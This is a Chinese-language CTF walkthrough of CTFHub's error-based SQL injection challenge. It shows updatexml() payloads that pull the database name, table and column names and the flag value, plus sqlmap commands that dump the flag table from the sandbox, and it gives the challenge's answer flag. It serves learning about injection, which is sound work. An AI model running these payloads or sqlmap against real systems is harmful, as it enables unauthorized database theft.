CTFHUB技能树之SQL——报错注入

开启靶场,打开链接:

输入1:

没有回显出相关信息,初步判断是报错注入、时间盲注或布尔盲注


输入1':

显示出'1''和报错信息,说明没有闭合情况,是报错注入且是整数型注入


输入:

1 and updatexml(1,0x7e,3) -- a

正常显示报错信息,确定报错函数updatexml()可以使用


(1)爆数据库名

1 and updatexml(1,concat('~',database(),'~'),1) -- a

说明数据库名是sqli


(2)爆表名

1 and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = 'sqli' ),'~'),1) -- a

得到表名是news和flag,其中flag表是我们要找的


(3)爆列名

1 and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema = 'sqli' and table_name = 'flag'),'~'),1) -- a

得到列名是flag


(4)爆字段内容(flag)

1 and updatexml(1,concat('~',(select concat(flag) from flag limit 0,1),'~'),1) -- a

得到flag:

ctfhub{d49fefe662a37b6387cad068}


接下来用sqlmap爆破一下:

python sqlmap.py -u "http://challenge-4515cbd0900d8aa9.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables


python sqlmap.py -u "http://challenge-4515cbd0900d8aa9.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump

一样成功得到flag

相关推荐
james的分享5 分钟前
大数据领域核心 SQL 优化框架Apache Calcite介绍
大数据·sql·apache·calcite
断手当码农5 分钟前
Redis 实现分布式锁的三种方式
数据库·redis·分布式
稻草猫.7 分钟前
TCP与UDP:传输层协议深度解析
笔记·后端·网络协议
徐先生 @_@|||14 分钟前
时间序列异常检测框架CrossAD论文阅读
经验分享·python·机器学习
菜鸟小九18 分钟前
redis原理篇(基本数据结构)
数据结构·数据库·redis
没有bug.的程序员21 分钟前
电商秒杀系统深度进阶:高并发流量建模、库存零超卖内核与 Redis+MQ 闭环
数据库·redis·缓存·高并发·电商秒杀·流量建模·库存零超卖
Mikowoo00721 分钟前
渗透测试_漏洞利用
网络安全
先做个垃圾出来………31 分钟前
Python常见文件操作
linux·数据库·python
轩情吖33 分钟前
MySQL库的操作
android·数据库·mysql·oracle·字符集·数据库操作·编码集
LaughingZhu33 分钟前
Product Hunt 每日热榜 | 2026-02-25
数据库·人工智能·经验分享·神经网络·chatgpt